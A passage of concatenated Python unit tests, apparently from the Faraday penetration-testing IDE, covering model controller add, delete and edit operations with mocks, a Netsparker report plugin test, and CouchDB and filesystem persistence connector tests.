277 model_controller.addNoteToServiceSYNC(None, vuln.getID(), note)
278
279 verify(mappersManager).getMapper(note.class_signature)
280 verify(objectMapper).save(note)
281
282 def testAddNoteToServiceGetsMapperDispatchSaveSYNC(self):
283 service = Service("servi")
284 note = ModelObjectNote("a_note")
285
286 mappersManager = self.createMapperMock()
287 objectMapper = mock()
288 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
289 when(objectMapper).save(note).thenReturn(True)
290
291 model_controller = controller.ModelController(mock(), mappersManager)
292
293 model_controller.addNoteToServiceSYNC(None, service.getID(), note)
294
295 verify(mappersManager).getMapper(note.class_signature)
296 verify(objectMapper).save(note)
297
298 def testAddNoteToServiceGetsMapperDispatchSaveASYNC(self):
299 service = Service("servi")
300 note = ModelObjectNote("a_note")
301
302 mappersManager = self.createMapperMock()
303 objectMapper = mock()
304 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
305 when(objectMapper).save(note).thenReturn(True)
306
307 model_controller = controller.ModelController(mock(), mappersManager)
308
309 model_controller.addNoteToServiceASYNC(None, service.getID(), note)
310 model_controller.processAllPendingActions()
311
312 verify(mappersManager).getMapper(note.class_signature)
313 verify(objectMapper).save(note)
314
315 def testAddNoteToInterfaceGetsMapperDispatchSaveSYNC(self):
316 interface = Interface("int0")
317 note = ModelObjectNote("a_note")
318
319 mappersManager = self.createMapperMock()
320 objectMapper = mock()
321 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
322 when(objectMapper).save(note).thenReturn(True)
323
324 model_controller = controller.ModelController(mock(), mappersManager)
325
326 model_controller.addNoteToServiceSYNC(None, interface.getID(), note)
327
328 verify(mappersManager).getMapper(note.class_signature)
329 verify(objectMapper).save(note)
330
331 def testAddNoteToInterfaceGetsMapperDispatchSaveASYNC(self):
332 interface = Interface("int0")
333 note = ModelObjectNote("a_note")
334
335 mappersManager = self.createMapperMock()
336 objectMapper = mock()
337 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
338 when(objectMapper).save(note).thenReturn(True)
339
340 model_controller = controller.ModelController(mock(), mappersManager)
341
342 model_controller.addNoteToServiceASYNC(None, interface.getID(), note)
343 model_controller.processAllPendingActions()
344
345 verify(mappersManager).getMapper(note.class_signature)
346 verify(objectMapper).save(note)
347
348 def testAddNoteToHostGetsMapperDispatchSaveSYNC(self):
349 host = Host("pepito")
350 note = ModelObjectNote("a_note")
351
352 mappersManager = self.createMapperMock()
353 objectMapper = mock()
354 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
355 when(objectMapper).save(note).thenReturn(True)
356
357 model_controller = controller.ModelController(mock(), mappersManager)
358
359 model_controller.addNoteToHostSYNC(host.getID(), note)
360
361 verify(mappersManager).getMapper(note.class_signature)
362 verify(objectMapper).save(note)
363
364 def testAddNoteToHostGetsMapperDispatchSaveASYNC(self):
365 host = Host("pepito")
366 note = ModelObjectNote("a_note")
367
368 mappersManager = self.createMapperMock()
369 objectMapper = mock()
370 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
371 when(objectMapper).save(note).thenReturn(True)
372
373 model_controller = controller.ModelController(mock(), mappersManager)
374
375 model_controller.addNoteToHostASYNC(host.getID(), note)
376 model_controller.processAllPendingActions()
377
378 verify(mappersManager).getMapper(note.class_signature)
379 verify(objectMapper).save(note)
380
381 def testAddNoteToInterfaceGetsMapperDispatchSaveSYNC(self):
382 interface = Interface("pepito")
383 note = ModelObjectNote("a_note")
384
385 mappersManager = self.createMapperMock()
386 objectMapper = mock()
387 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
388 when(objectMapper).save(note).thenReturn(True)
389
390 model_controller = controller.ModelController(mock(), mappersManager)
391
392 model_controller.addNoteToInterfaceSYNC(None, interface.getID(), note)
393
394 verify(mappersManager).getMapper(note.class_signature)
395 verify(objectMapper).save(note)
396
397 def testAddNoteToInterfaceGetsMapperDispatchSaveASYNC(self):
398 interface = Interface("pepito")
399 note = ModelObjectNote("a_note")
400
401 mappersManager = self.createMapperMock()
402 objectMapper = mock()
403 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
404 when(objectMapper).save(note).thenReturn(True)
405
406 model_controller = controller.ModelController(mock(), mappersManager)
407
408 model_controller.addNoteToInterfaceASYNC(None, interface.getID(), note)
409 model_controller.processAllPendingActions()
410
411 verify(mappersManager).getMapper(note.class_signature)
412 verify(objectMapper).save(note)
413
414 def testAddNoteToNoteGetsMapperDispatchSaveSYNC(self):
415 host = Host("pepito")
416 note = ModelObjectNote("a_note")
417
418 mappersManager = self.createMapperMock()
419 objectMapper = mock()
420 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
421 when(objectMapper).save(note).thenReturn(True)
422
423 model_controller = controller.ModelController(mock(), mappersManager)
424
425 model_controller.addNoteToNoteSYNC(note.getID(), note)
426
427 verify(mappersManager).getMapper(note.class_signature)
428 verify(objectMapper).save(note)
429
430 def testAddNoteToNoteGetsMapperDispatchSaveASYNC(self):
431 host = Host("pepito")
432 note = ModelObjectNote("a_note")
433
434 mappersManager = self.createMapperMock()
435 objectMapper = mock()
436 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
437 when(objectMapper).save(note).thenReturn(True)
438
439 model_controller = controller.ModelController(mock(), mappersManager)
440
441 model_controller.addNoteToNoteASYNC(None, None, note.getID(), note)
442 model_controller.processAllPendingActions()
443
444 verify(mappersManager).getMapper(note.class_signature)
445 verify(objectMapper).save(note)
446
447 def testAddSavesObjectNameInTrie(self):
448 host = Host('coco')
449
450 mappersManager = self.createMapperMock()
451 objectMapper = mock()
452 triemock = mock()
453
454 when(mappersManager).getMapper(host.class_signature).thenReturn(objectMapper)
455 when(objectMapper).save(host).thenReturn(True)
456 when(triemock).addWord(host.getName()).thenReturn(True)
457
458 model_controller = controller.ModelController(mock(), mappersManager)
459 model_controller.treeWordsTries = triemock
460
461 model_controller.addHostSYNC(host)
462
463 verify(mappersManager).getMapper(host.class_signature)
464 verify(objectMapper).save(host)
465 verify(triemock).addWord(host.getName())
466
467 def testAddNoteToModelObjectSYNC(self):
468 host = Host("pepito")
469 note = ModelObjectNote("a_note")
470
471 mappersManager = self.createMapperMock()
472 objectMapper = mock()
473 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
474 when(objectMapper).save(note).thenReturn(True)
475
476 model_controller = controller.ModelController(mock(), mappersManager)
477
478 model_controller.addNoteSYNC(host.getID(), note)
479
480 verify(mappersManager).getMapper(note.class_signature)
481 verify(objectMapper).save(note)
482
483 def createMapperMock(self):
484 map_mock = mock()
485 when(map_mock).find(any()).thenReturn(mock())
486 when(map_mock).find(None).thenReturn(None)
487 return map_mock
488
489 def testAddCredGetsMapperDispatchSaveSYNC(self):
490 host = Host("pepito")
491 cred = ModelObjectCred("usr", "pass")
492
493 mappersManager = self.createMapperMock()
494 objectMapper = mock()
495 when(mappersManager).getMapper(cred.class_signature).thenReturn(objectMapper)
496 when(objectMapper).save(cred).thenReturn(True)
497
498 model_controller = controller.ModelController(mock(), mappersManager)
499
500 model_controller.addCredSYNC(cred.getID(), cred)
501
502 verify(mappersManager).getMapper(cred.class_signature)
503 verify(objectMapper).save(cred)
504
505
506 def testAddCredToServiceGetsMapperDispatchSaveSYNC(self):
507 service = Service("pepito")
508 cred = ModelObjectCred("usr", "pass")
509
510 mappersManager = self.createMapperMock()
511 objectMapper = mock()
512 when(mappersManager).getMapper(cred.class_signature).thenReturn(objectMapper)
513 when(objectMapper).save(cred).thenReturn(True)
514
515 model_controller = controller.ModelController(mock(), mappersManager)
516
517 model_controller.addCredToServiceSYNC(None, cred.getID(), cred)
518
519 verify(mappersManager).getMapper(cred.class_signature)
520 verify(objectMapper).save(cred)
521
522 def testAddCredToServiceGetsMapperDispatchSaveASYNC(self):
523 service = Service("pepito")
524 cred = ModelObjectCred("usr", "pass")
525
526 mappersManager = self.createMapperMock()
527 objectMapper = mock()
528 when(mappersManager).getMapper(cred.class_signature).thenReturn(objectMapper)
529 when(objectMapper).save(cred).thenReturn(True)
530
531 model_controller = controller.ModelController(mock(), mappersManager)
532
533 model_controller.addCredToServiceASYNC(None, cred.getID(), cred)
534 model_controller.processAllPendingActions()
535
536 verify(mappersManager).getMapper(cred.class_signature)
537 verify(objectMapper).save(cred)
538
539 def testDeleteHostObjectDispatchRemoveSYNC(self):
540 host = Host("coquito")
541
542 mappersManager = self.createMapperMock()
543 objectMapper = mock()
544 when(mappersManager).find(host.getID()).thenReturn(host)
545 when(mappersManager).remove(host.getID()).thenReturn(True)
546
547 model_controller = controller.ModelController(mock(), mappersManager)
548 model_controller.delHostSYNC(host.getID())
549 verify(mappersManager).remove(host.getID())
550 verify(mappersManager).find(host.getID())
551
552 def testDeleteHostObjectDispatchRemoveASYNC(self):
553 host = Host("coquito")
554
555 mappersManager = self.createMapperMock()
556 objectMapper = mock()
557 when(mappersManager).find(host.getID()).thenReturn(host)
558 when(mappersManager).remove(host.getID()).thenReturn(True)
559
560 model_controller = controller.ModelController(mock(), mappersManager)
561 model_controller.delHostASYNC(host.getID())
562 model_controller.processAllPendingActions()
563
564 verify(mappersManager).remove(host.getID())
565
566 def testDeleteModelObjectRemovesChildFromParentSYNC(self):
567 host = Host('coco')
568 interface = Interface("int_mock0")
569 self.genericDelTest(host, interface, controller.ModelController.delInterfaceSYNC)
570
571 def testDeleteModelObjectRemovesChildFromParentASYNC(self):
572 host = Host('coco')
573 interface = Interface("int_mock0")
574 self.genericDelTest(host, interface, controller.ModelController.delInterfaceASYNC, process_pending=True)
575
576 def testInterfaceFromHostRemovedSYNC(self):
577 host = Host('coco')
578 interface = Interface("int_mock0")
579 self.genericDelTest(host, interface,
580 controller.ModelController.delInterfaceSYNC)
581
582 def testInterfaceFromHostRemovedSYNC(self):
583 service = Service('coco')
584 interface = Interface("int_mock0")
585 interface.addChild(service)
586 self.genericDelTest(interface, service,
587 controller.ModelController.delServiceFromInterfaceSYNC)
588
589 def testInterfaceFromHostRemovedASYNC(self):
590 service = Service('coco')
591 interface = Interface("int_mock0")
592 interface.addChild(service)
593 self.genericDelTest(interface, service,
594 controller.ModelController.delServiceFromInterfaceASYNC, process_pending=True)
595
596 def testDelVulnFromHostSYNC(self):
597 host = Host('coco')
598 vuln = ModelObjectVuln("int_mock0")
599 host.addChild(vuln)
600 self.genericDelTest(host, vuln,
601 controller.ModelController.delVulnFromHostSYNC)
602
603 def testDelVulnFromHostASYNC(self):
604 host = Host('coco')
605 vuln = ModelObjectVuln("int_mock0")
606 host.addChild(vuln)
607 self.genericDelTest(host, vuln,
608 controller.ModelController.delVulnFromHostASYNC, process_pending=True)
609
610 def testDelVulnFromObjectSYNC(self):
611 host = Host('coco')
612 vuln = ModelObjectVuln("int_mock0")
613 host.addChild(vuln)
614 self.genericDelTest(host, vuln,
615 controller.ModelController.delVulnSYNC)
616
617 def testDelVulnFromServiceSYNC(self):
618 service = Service('coco')
619 vuln = ModelObjectVuln("int_mock0")
620 service.addChild(vuln)
621 self.genericDelTest(service, vuln,
622 controller.ModelController.delVulnFromServiceSYNC)
623
624 def testDelVulnFromServiceASYNC(self):
625 service = Service('coco')
626 vuln = ModelObjectVuln("int_mock0")
627 service.addChild(vuln)
628 self.genericDelTest(service, vuln,
629 controller.ModelController.delVulnFromServiceASYNC, process_pending=True)
630
631 # def delNoteFromInterfaceSYNC(self, hostname, intname, noteId):
632
633 def testDelNoteFromInterfaceSYNC(self):
634 interface = Interface('coco')
635 note = ModelObjectNote("int_mock0")
636 interface.addChild(note)
637 self.genericDelTest(interface, note,
638 controller.ModelController.delNoteFromInterfaceSYNC)
639
640 def testDelNoteFromInterfaceASYNC(self):
641 interface = Interface('coco')
642 note = ModelObjectNote("int_mock0")
643 interface.addChild(note)
644 self.genericDelTest(interface, note,
645 controller.ModelController.delNoteFromInterfaceASYNC, process_pending=True)
646
647
648 def testDelNoteFromServiceSYNC(self):
649 service = Service('coco')
650 note = ModelObjectNote("int_mock0")
651 service.addChild(note)
652 self.genericDelTest(service, note,
653 controller.ModelController.delNoteFromServiceSYNC)
654
655 def testDelNoteFromServiceASYNC(self):
656 service = Service('coco')
657 note = ModelObjectNote("int_mock0")
658 service.addChild(note)
659 self.genericDelTest(service, note,
660 controller.ModelController.delNoteFromServiceASYNC, process_pending=True)
661
662 def testDelNoteFromHostSYNC(self):
663 host = Host('coco')
664 note = ModelObjectNote("int_mock0")
665 host.addChild(note)
666 self.genericDelTest(host, note,
667 controller.ModelController.delNoteFromHostSYNC)
668
669 def testDelNoteFromHostSYNC(self):
670 host = Host('coco')
671 note = ModelObjectNote("int_mock0")
672 host.addChild(note)
673 self.genericDelTest(host, note,
674 controller.ModelController.delNoteFromHostASYNC, process_pending=True)
675
676 def testDelNoteFromModelObjectSYNC(self):
677 host = Host('coco')
678 note = ModelObjectNote("int_mock0")
679 host.addChild(note)
680 self.genericDelTest(host, note,
681 controller.ModelController.delNoteSYNC)
682
683 def testDelCredentialFromServiceSYNC(self):
684 service = Service('coco')
685 cred = ModelObjectCred("int_mock0")
686 service.addChild(cred)
687 self.genericDelTest(service, cred,
688 controller.ModelController.delCredFromServiceSYNC)
689
690 def testDelCredentialFromServiceASYNC(self):
691 service = Service('coco')
692 cred = ModelObjectCred("int_mock0")
693 service.addChild(cred)
694 self.genericDelTest(service, cred,
695 controller.ModelController.delCredFromServiceASYNC, process_pending=True)
696
697 def testDelCredentialFromModelObjectSYNC(self):
698 service = Service('coco')
699 cred = ModelObjectCred("int_mock0")
700 service.addChild(cred)
701 self.genericDelTest(service, cred,
702 controller.ModelController.delCredSYNC)
703
704 def testDelRemovesObjectFromTrie(self):
705 host = Host("coquito")
706
707 mappersManager = self.createMapperMock()
708 objectMapper = mock()
709 triemock = mock()
710 when(mappersManager).getMapper(host.class_signature).thenReturn(objectMapper)
711 when(mappersManager).find(host.getID()).thenReturn(host)
712 when(triemock).addWord(host.getName()).thenReturn(True)
713
714 model_controller = controller.ModelController(mock(), mappersManager)
715 model_controller.treeWordsTries = triemock
716 model_controller.delHostSYNC(host.getID())
717 verify(mappersManager).remove(host.getID())
718
719 verify(triemock).removeWord(host.getName())
720
721 def genericDelTest(self, obj1, obj2, test_method, process_pending=False):
722 mappersManager = self.createMapperMock()
723 objectMapper = mock()
724 triemock = mock()
725 when(mappersManager).find(obj2.getID()).thenReturn(obj2)
726 when(objectMapper).delObject(obj2.getID()).thenReturn(True)
727
728 model_controller = controller.ModelController(mock(), mappersManager)
729 model_controller.treeWordsTries = triemock
730
731 try:
732 test_method(model_controller, None, obj2.getID())
733 except:
734 test_method(model_controller, None, None, obj2.getID())
735
736 if process_pending:
737 model_controller.processAllPendingActions()
738
739 verify(mappersManager).find(obj2.getID())
740 verify(mappersManager).remove(obj2.getID())
741
742 def testEditHostSyncGetsMapperDispatchedSYNC(self):
743 host = Host("coquito")
744
745 mappersManager = self.createMapperMock()
746 dataMapper = mock()
747 objectMapper = mock()
748 triemock = mock()
749 when(mappersManager).getMapper(host.class_signature).thenReturn(dataMapper)
750 when(dataMapper).save(host).thenReturn(True)
751
752 model_controller = controller.ModelController(mock(), mappersManager)
753
754 model_controller.editHostSYNC(host, 'new_name', 'new_desc', 'new_os', True)
755
756 verify(dataMapper).save(host)
757
758 self.assertEquals(host.getName(), 'new_name', "Name not updated")
759 self.assertEquals(host.getDescription(), 'new_desc', "Description not updated")
760 self.assertEquals(host.getOS(), 'new_os', "OS not updated")
761 self.assertEquals(host.isOwned(), True, "Owned status not updated")
762
763 def testEditServiceSyncGetsMapperDispatchedSYNC(self):
764 service = Service("coquito")
765
766 params = ('new_name', 'new_desc', 'upd', 9000, 'closed', '2.1', True)
767 self.genericEdit(service, params, controller.ModelController.editServiceSYNC)
768
769 self.assertEquals(service.getName(), 'new_name', "Name not updated")
770 self.assertEquals(service.getDescription(), 'new_desc', "Description not updated")
771 self.assertEquals(service.getProtocol(), 'upd', "Protocol not updated")
772 self.assertEquals(service.isOwned(), True, "Owned status not updated")
773
774 def testEditServiceSyncGetsMapperDispatchedASYNC(self):
775 service = Service("coquito")
776
777 params = ('new_name', 'new_desc', 'upd', 9000, 'closed', '2.1', True)
778 self.genericEdit(service, params, controller.ModelController.editServiceASYNC,
779 process_pending=True)
780
781 self.assertEquals(service.getName(), 'new_name', "Name not updated")
782 self.assertEquals(service.getDescription(), 'new_desc', "Description not updated")
783 self.assertEquals(service.getProtocol(), 'upd', "Protocol not updated")
784 self.assertEquals(service.isOwned(), True, "Owned status not updated")
785
786 def testEditServiceSyncGetsMapperDispatchedSYNC(self):
787 service = Service("coquito")
788
789 params = ('new_name', 'new_desc', 'upd', 9000, 'closed', '2.1', True)
790 self.genericEdit(service, params, controller.ModelController.editServiceSYNC)
791
792 self.assertEquals(service.getName(), 'new_name', "Name not updated")
793 self.assertEquals(service.getDescription(), 'new_desc', "Description not updated")
794 self.assertEquals(service.getProtocol(), 'upd', "Protocol not updated")
795 self.assertEquals(service.isOwned(), True, "Owned status not updated")
796
797 def testEditServiceSyncGetsMapperDispatchedASYNC(self):
798 service = Service("coquito")
799
800 params = ('new_name', 'new_desc', 'upd', 9000, 'closed', '2.1', True)
801 self.genericEdit(service, params, controller.ModelController.editServiceASYNC, process_pending=True)
802
803 self.assertEquals(service.getName(), 'new_name', "Name not updated")
804 self.assertEquals(service.getDescription(), 'new_desc', "Description not updated")
805 self.assertEquals(service.getProtocol(), 'upd', "Protocol not updated")
806 self.assertEquals(service.isOwned(), True, "Owned status not updated")
807
808 def testEditInterfaceSyncGetsMapperDispatchedSYNC(self):
809 inter = Interface("coquito")
810
811 params = ('new_name', 'new_desc', 'hostname1', "FF:AA:EE:11:00", None,
812 None, None, None, None, None, True)
813
814 self.genericEdit(inter, params, controller.ModelController.editInterfaceSYNC)
815
816 self.assertEquals(inter.getName(), 'new_name', "Name not updated")
817 self.assertEquals(inter.getDescription(), 'new_desc', "Description not updated")
818 self.assertEquals(inter.isOwned(), True, "Owned status not updated")
819
820
821 def testEditVulnSyncGetsMapperDispatchedSYNC(self):
822 vuln = ModelObjectVuln("coquito")
823
824 params = ('new_name', 'new_desc', 'high', "ref1")
825
826 self.genericEdit(vuln, params, controller.ModelController.editVulnSYNC)
827
828 self.assertEquals(vuln.getName(), 'new_name', "Name not updated")
829 self.assertEquals(vuln.getDescription(), 'new_desc', "Description not updated")
830 self.assertEquals(vuln.getSeverity(), 'high', "Severity not updated")
831
832 def testEditVulnSyncGetsMapperDispatchedASYNC(self):
833 vuln = ModelObjectVuln("coquito")
834
835 params = ('new_name', 'new_desc', 'high', "ref1")
836
837 self.genericEdit(vuln, params, controller.ModelController.editVulnASYNC, process_pending=True)
838
839 self.assertEquals(vuln.getName(), 'new_name', "Name not updated")
840 self.assertEquals(vuln.getDescription(), 'new_desc', "Description not updated")
841 self.assertEquals(vuln.getSeverity(), 'high', "Severity not updated")
842
843 def testEditVulnWebSyncGetsMapperDispatchedSYNC(self):
844 vuln = ModelObjectVulnWeb("coquito")
845
846 params = ('new_name', 'new_desc', 'www.goole.com', 'index.html',
847 "ref1", 'high', None, None, 'GET', 'pepe', 'coco' , 'caca',
848 None)
849
850 self.genericEdit(vuln, params, controller.ModelController.editVulnWebSYNC)
851
852 self.assertEquals(vuln.getName(), 'new_name', "Name not updated")
853 self.assertEquals(vuln.getDescription(), 'new_desc', "Description not updated")
854 self.assertEquals(vuln.getSeverity(), 'high', "Severity not updated")
855
856 def testEditVulnWebSyncGetsMapperDispatchedASYNC(self):
857 vuln = ModelObjectVulnWeb("coquito")
858
859 params = ('new_name', 'new_desc', 'www.goole.com', 'index.html',
860 "ref1", 'high', None, None, 'GET', 'pepe', 'coco' , 'caca',
861 None)
862
863 self.genericEdit(vuln, params, controller.ModelController.editVulnWebASYNC, process_pending=True)
864
865 self.assertEquals(vuln.getName(), 'new_name', "Name not updated")
866 self.assertEquals(vuln.getDescription(), 'new_desc', "Description not updated")
867 self.assertEquals(vuln.getSeverity(), 'high', "Severity not updated")
868
869 def testEditNoteSyncGetsMapperDispatchedSYNC(self):
870 note = ModelObjectNote("coquito")
871
872 params = ('new_name', 'new_desc')
873 self.genericEdit(note, params, controller.ModelController.editNoteSYNC)
874 self.assertEquals(note.getName(), 'new_name', "Name not updated")
875 self.assertEquals(note.text, 'new_desc', "Description not updated")
876
877 def testEditNoteSyncGetsMapperDispatchedASYNC(self):
878 note = ModelObjectNote("coquito")
879
880 params = ('new_name', 'new_desc')
881 self.genericEdit(note, params, controller.ModelController.editNoteASYNC, process_pending=True)
882 self.assertEquals(note.getName(), 'new_name', "Name not updated")
883 self.assertEquals(note.text, 'new_desc', "Description not updated")
884
885 def testEditCredSyncGetsMapperDispatchedSYNC(self):
886 cred = ModelObjectCred("coquito")
887
888 params = ('new_user', 'new_pass')
889 self.genericEdit(cred, params, controller.ModelController.editCredSYNC)
890 self.assertEquals(cred.getUsername(), 'new_user', "Username not updated")
891 self.assertEquals(cred.getPassword(), 'new_pass', "Password not updated")
892
893 def testEditCredSyncGetsMapperDispatchedASYNC(self):
894 cred = ModelObjectCred("coquito")
895
896 params = ('new_user', 'new_pass')
897 self.genericEdit(cred, params, controller.ModelController.editCredASYNC, process_pending=True)
898 self.assertEquals(cred.getUsername(), 'new_user', "Username not updated")
899 self.assertEquals(cred.getPassword(), 'new_pass', "Password not updated")
900
901 def testGetAllHosts(self):
902 hosts = [ Host("coquito%i" % i ) for i in range(10)]
903
904 mappersManager = self.createMapperMock()
905 objectMapper = mock()
906 when(mappersManager).getMapper(Host.__name__).thenReturn(objectMapper)
907 when(objectMapper).getAll().thenReturn(hosts)
908
909 model_controller = controller.ModelController(mock(), mappersManager)
910 hosts_obt = model_controller.getAllHosts()
911 verify(objectMapper).getAll()
912 verify(mappersManager).getMapper(Host.__name__)
913
914 self.assertListEqual(hosts, hosts_obt)
915
916 def testGetHost(self):
917 host = Host("coquito")
918
919 mappersManager = self.createMapperMock()
920 objectMapper = mock()
921 when(mappersManager).getMapper(host.__class__.__name__).thenReturn(objectMapper)
922 when(objectMapper).find(host.getName()).thenReturn(host)
923
924 model_controller = controller.ModelController(mock(), mappersManager)
925
926 host_obt = model_controller.getHost('coquito')
927
928 verify(objectMapper).find(host.getName())
929 verify(mappersManager).getMapper(host.__class__.__name__)
930
931 self.assertEqual(host, host_obt)
932
933 def genericEdit(self, obj, params, callback, process_pending=False):
934 mappersManager = self.createMapperMock()
935 dataMapper = mock()
936 objId = obj.getID()
937 when(mappersManager).getMapper(obj.class_signature).thenReturn(dataMapper)
938 when(dataMapper).save(obj).thenReturn(True)
939 when(mappersManager).find(objId).thenReturn(obj)
940 when(mappersManager).save(obj).thenReturn(True)
941 model_controller = controller.ModelController(mock(), mappersManager)
942 callback(model_controller, obj, *params)
943 if process_pending:
944 model_controller.processAllPendingActions()
945
946
947 if __name__ == '__main__':
948 unittest.main()
949
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import unittest
7 import sys
8 import os
9 sys.path.append('.')
10 import model.controller as controller
11 from model.workspace import Workspace
12 from model.container import ModelObjectContainer
13 import model.api as api
14 #from model import controller
15 #from model import api
16 from plugins.repo.netsparker import plugin
17 from plugins.core import PluginControllerForApi
18 from mockito import mock, when
19 from managers.all import CommandManager
20
21
22 class NetsparkerPluginTest(unittest.TestCase):
23
24 def setUp(self):
25 """
26 Generic test to verify that the object exists and can be
27 instantiated without problems.
28 """
29 self.model_controller = controller.ModelController(mock())
30 self.workspace = mock(Workspace)
31 when(self.workspace).getContainee().thenReturn(ModelObjectContainer())
32 self.cm = mock(CommandManager)
33 when(self.cm).saveCommand().thenReturn(True)
34 self.model_controller.setWorkspace(self.workspace)
35 self._plugin_controller = PluginControllerForApi("test", {"netsparker": plugin.NetsparkerPlugin()}, self.cm)
36 api.setUpAPIs(self.model_controller)
37
38 def test_report(self):
39 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/netsparker_plugin_with_api.xml'))
40 output = output_file.read()
41 self._plugin_controller.processCommandInput("./netsparker report")
42 self._plugin_controller.onCommandFinished("./netsparker report", output)
43 self.model_controller.processAllPendingActions()
44 self.assertEquals(len(self.model_controller.getAllHosts()), 1,
45 "Not all hosts added to model")
46
47
48 if __name__ == '__main__':
49 unittest.main()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 import unittest
11 import sys
12 import os
13 import shutil
14 import json
15 sys.path.append(os.path.abspath(os.getcwd()))
16 from couchdbkit import Server, ResourceNotFound
17 import time
18
19 from persistence.persistence_managers import CouchDbConnector, FileSystemConnector
20 import random
21
22 from config.configuration import getInstanceConfiguration
23 CONF = getInstanceConfiguration()
24
25
26 def new_random_workspace_name():
27 return ("aworkspace" + "".join(random.sample([chr(i) for i in range(65, 90)], 10))).lower()
28
29
30 class DbConnectorCouchTestSuite(unittest.TestCase):
31 def setUp(self):
32 self.couch_srv = Server(uri=CONF.getCouchURI())
33 self.db_name = new_random_workspace_name()
34 self.db = self.couch_srv.create_db(self.db_name)
35
36 def tearDown(self):
37 self.couch_srv.delete_db(self.db_name)
38 time.sleep(3)
39
40 def test_save_Document(self):
41 couchConnector = CouchDbConnector(self.db)
42 doc = {
43 '_id': '123',
44 'data': 'some data'
45 }
46 couchConnector.saveDocument(doc)
47
48 doc_from_db = self.db.get('123')
49
50 self.assertNotEquals(
51 doc_from_db,
52 None,
53 "Document should be retrieved")
54
55 self.assertEquals(
56 doc_from_db.get('data'),
57 'some data',
58 "Data retrieved should be the same as data saved")
59
60 def test_get_Document(self):
61 couchConnector = CouchDbConnector(self.db)
62 doc = {
63 '_id': '123',
64 'data': 'some data'
65 }
66 couchConnector.saveDocument(doc)
67
68 doc_retrieved = couchConnector.getDocument('123')
69
70 self.assertNotEquals(
71 doc_retrieved,
72 None,
73 "Document should be retrieved")
74
75 self.assertEquals(
76 doc_retrieved.get('data'),
77 'some data',
78 "Data retrieved should be the same as data saved")
79
80 def test_remove_Document(self):
81 couchConnector = CouchDbConnector(self.db)
82 doc = {
83 '_id': '123',
84 'data': 'some data'
85 }
86 couchConnector.saveDocument(doc)
87
88 couchConnector.remove('123')
89
90 try:
91 doc_from_db = self.db.get('123')
92 except ResourceNotFound:
93 doc_from_db = None
94
95 self.assertEquals(
96 doc_from_db,
97 None,
98 "Document should be None")
99
100 def test_get_by_parent_and_type(self):
101 couchConnector = CouchDbConnector(self.db)
102 doc = {
103 '_id': '123',
104 'type': 'father',
105 'parent': None,
106 }
107 couchConnector.saveDocument(doc)
108
109 doc = {
110 '_id': '456',
111 'type': 'child',
112 'parent': '123',
113 }
114 couchConnector.saveDocument(doc)
115
116 doc = {
117 '_id': '789',
118 'type': 'child',
119 'parent': '123',
120 }
121 couchConnector.saveDocument(doc)
122
123 ids = couchConnector.getDocsByFilter(parentId='123', type='child')
124
125 self.assertEquals(
126 len(ids),
127 2,
128 "There should be two 'childs' with parent '123'")
129
130 self.assertIn(
131 '456',
132 ids,
133 "Child '456' should be in the list of childs")
134
135 self.assertIn(
136 '789',
137 ids,
138 "Child '789' should be in the list of childs")
139
140 ids = couchConnector.getDocsByFilter(parentId='123', type='son')
141
142 self.assertEquals(
143 len(ids),
144 0,
145 "There shouldn't be any 'son' with parent '123'")
146
147 ids = couchConnector.getDocsByFilter(parentId='456', type='child')
148
149 self.assertEquals(
150 len(ids),
151 0,
152 "There shouldn't be any 'child' with parent '456'")
153
154
155 class DbConnectorFileSystemTestSuite(unittest.TestCase):
156 def setUp(self):
157 self.path = CONF.getPersistencePath()
158 self.db_path = os.path.join(self.path, new_random_workspace_name())
159 os.mkdir(self.db_path)
160
161 def tearDown(self):
162 shutil.rmtree(self.db_path)
163
164 def test_save_Document(self):
165 fsConnector = FileSystemConnector(self.db_path)
166 doc = {
167 '_id': '123',
168 'data': 'some data'
169 }
170 fsConnector.saveDocument(doc)
171
172 doc_from_db = open(os.path.join(self.db_path, '%s.json' % '123'), 'r')
173 doc_from_db = json.loads(doc_from_db.read())
174
175 self.assertNotEquals(
176 doc_from_db,
177 None,
178 "Document should be retrieved")
179
180 self.assertEquals(
181 doc_from_db.get('data'),
182 'some data',
183 "Data retrieved should be the same as data saved")
184
185 def test_get_Document(self):
186 fsConnector = FileSystemConnector(self.db_path)
187 doc = {
188 '_id': '123',
189 'data': 'some data'
190 }
191 fsConnector.saveDocument(doc)
192
193 doc_retrieved = fsConnector.getDocument('123')
194
195 self.assertNotEquals(
196 doc_retrieved,
197 None,
198 "Document should be retrieved")
199
200 self.assertEquals(
201 doc_retrieved.get('data'),
202 'some data',
203 "Data retrieved should be the same as data saved")
204
205 def test_remove_Document(self):
206 fsConnector = FileSystemConnector(self.db_path)
207 doc = {
208 '_id': '123',
209 'data': 'some data'
210 }
211 fsConnector.saveDocument(doc)
212
213 fsConnector.remove('123')
214
215 try:
216 doc_from_db = open(os.path.join(self.db_path, '%s.json' % '123'), 'r')
217 doc_from_db = json.loads(doc_from_db.read())
218 except IOError:
219 doc_from_db = None
220
221 self.assertEquals(
222 doc_from_db,
223 None,
224 "Document should be None")
225
226 def test_get_by_parent_and_type(self):
227 fsConnector = FileSystemConnector(self.db_path)
228 doc = {
229 '_id': '123',
230 'type': 'father',
231 'parent': None,
232 }
233 fsConnector.saveDocument(doc)
234
235 doc = {
236 '_id': '456',
237 'type': 'child',
238 'parent': '123',
239 }
240 fsConnector.saveDocument(doc)
241
242 doc = {
243 '_id': '789',
244 'type': 'child',
